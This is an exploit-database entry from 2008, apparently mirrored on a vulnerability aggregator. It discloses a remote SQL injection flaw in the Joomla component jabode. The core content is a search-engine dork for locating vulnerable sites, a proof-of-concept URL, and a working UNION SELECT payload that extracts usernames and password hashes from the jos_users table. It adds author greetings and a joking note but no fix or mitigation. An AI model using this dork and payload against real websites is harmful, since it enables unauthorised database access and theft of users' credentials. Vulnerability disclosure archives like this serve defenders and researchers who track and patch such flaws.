Joomla Component jabode (id) Remote SQL Injection Vulnerability

🗓️ 29 Jun 2008 00:00:00Reported by RootType

Joomla Component jabode Remote SQL Injection Vulnerability. Author His0k4. POC: http://localhost/[Joomla_Path]/index.php?option=com_jabode&task=sign&sign=taurus&id={SQL}. Example: http://localhost/[Joomla_Path]/index.php?option=com_jabode&task=sign&sign=taurus&id=-2 UNION SELECT user(),user(),user(),user(),concat(username,0x3a,password) FROM jos_users--. Vulnerability allows unauthorized SQL injection


                                                /---------------------------------------------------------------\
\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;				/
/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Joomla&nbsp;Component&nbsp;jabode&nbsp;Remote&nbsp;SQL&nbsp;injection&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\
\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;				/
\---------------------------------------------------------------/


[*]&nbsp;Author&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;His0k4&nbsp;[ALGERIAN&nbsp;HaCkEr]

[*]&nbsp;Dork&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;inurl:com_jabode

[*]&nbsp;POC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://localhost/[Joomla_Path]/index.php?option=com_jabode&amp;task=sign&amp;sign=taurus&amp;id={SQL}

[*]&nbsp;Example&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://localhost/[Joomla_Path]/index.php?option=com_jabode&amp;task=sign&amp;sign=taurus&amp;id=-2&nbsp;UNION&nbsp;SELECT&nbsp;user(),user(),user(),user(),concat(username,0x3a,password)&nbsp;FROM&nbsp;jos_users--

[*]&nbsp;Funny&nbsp;note:&nbsp;&nbsp;You&nbsp;can&nbsp;change&nbsp;&quot;taurus&quot;&nbsp;to&nbsp;your&nbsp;sign&nbsp;for&nbsp;best&nbsp;results&nbsp;xd...

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
----------------------------------------------------------------------------
[*]&nbsp;Greetings&nbsp;:&nbsp;&nbsp;All&nbsp;friends&nbsp;&amp;&nbsp;muslims&nbsp;HaCkeRs...
[*]&nbsp;Greetings2:&nbsp;&nbsp;http://www.dz-secure.com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://palcastle.org/cc

29 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1